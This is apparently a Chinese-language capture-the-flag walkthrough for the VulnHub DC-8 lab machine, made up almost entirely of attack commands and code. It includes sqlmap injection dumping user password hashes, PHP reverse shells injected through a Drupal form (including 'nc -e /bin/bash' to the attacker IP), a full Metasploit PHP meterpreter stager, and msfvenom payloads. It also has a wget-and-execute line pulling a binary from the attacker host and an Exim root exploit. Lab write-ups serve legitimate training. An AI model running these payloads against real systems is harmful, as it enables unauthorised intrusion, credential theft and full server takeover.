https://www.vulnhub.com/entry/dc-8,367/
netdiscover -i eth0 -r 192.168.100.0/24
信息收集的步骤基本上差不多,可根据工具简单写个shell脚本
#!/usr/bin/bash ip=192.168.100.$1 ping -c2 $ip &>/dev/null if [ $? -eq 0 ] ; then echo "$ip is up" else echo "$ip is down" exit fi masscan --rate=10000 --ports 0-65535 $ip masscan --rate=10000 --ports 0-65535 $ip nmap -A $ip sleep 30 whatweb $ip sleep 10 dirsearch -u $ip sleep 5 nikto -h $ip sleep 5 dirb http://$ip
我的网段在192.168.100.0/24 所以ip要改改
/home/xiaoxiaoran/shell/xinxi.sh 160
测试失败,用的密钥
url分别为
http://192.168.100.160/?nid=1
http://192.168.100.160/?nid=2
http://192.168.100.160/?nid=3
sqlmap -u http://192.168.100.160/?nid=2 sqlmap -u http://192.168.100.160/?nid=2 --current-db sqlmap -u http://192.168.100.160/?nid=2 -D d7db --tables sqlmap -u http://192.168.100.160/?nid=2 -D d7db -T users --columns sqlmap -u http://192.168.100.160/?nid=2 -D d7db -T users -C name,pass --dump
admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
得到 用户名 密码 john turtle
在改写 Confirmation message 信息后,设置成Text format-->php
必须要多些个
标签,不然无法调用
在这里提交后会自动调用上面保存的代码
<p>flag</p>
<?php system("nc -e /bin/bash 192.168.100.143 1234");?>
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.100.143 LPORT=8080
php.rc文件
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.100.143
set LPORT 8080
exploit
msfconsole -qr /home/xiaoxiaoran/shell/php.rc
<p>flag</p> /*<?php /**/ error_reporting(0); $ip = '192.168.100.143'; $port = 8080; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.100.143 LPORT=4444 -b "\x00" -i 10 -f elf -o /var/www/html/xiao3
linux.rc文件
use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LHOST 192.168.100.143 set LPORT 4444 exploit
msfconsole -qr /home/xiaoxiaoran/shell/linux.rc
<p>flag</p> <?php system("wget 192.168.100.143/xiao3 -O /tmp/xiao3;cd /tmp;chmod +x xiao3;./xiao3 &")?>
python -c 'import pty;pty.spawn("/bin/bash")'
find / -perm -u=s -type f 2>/dev/null
cat /usr/share/exploitdb/exploits/linux/local/46996.sh
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html/46996.sh
wget http://192.168.100.143/46996.sh
chmod +x 46996.sh
./46996.sh -m netcat
原因:这个报错是由于windows系统下编辑然后上传到linux系统执行导致的
解决方案:本地编辑查看文件类型:set ff=unix
chmod +x 46996.sh
./46996.sh -m netcat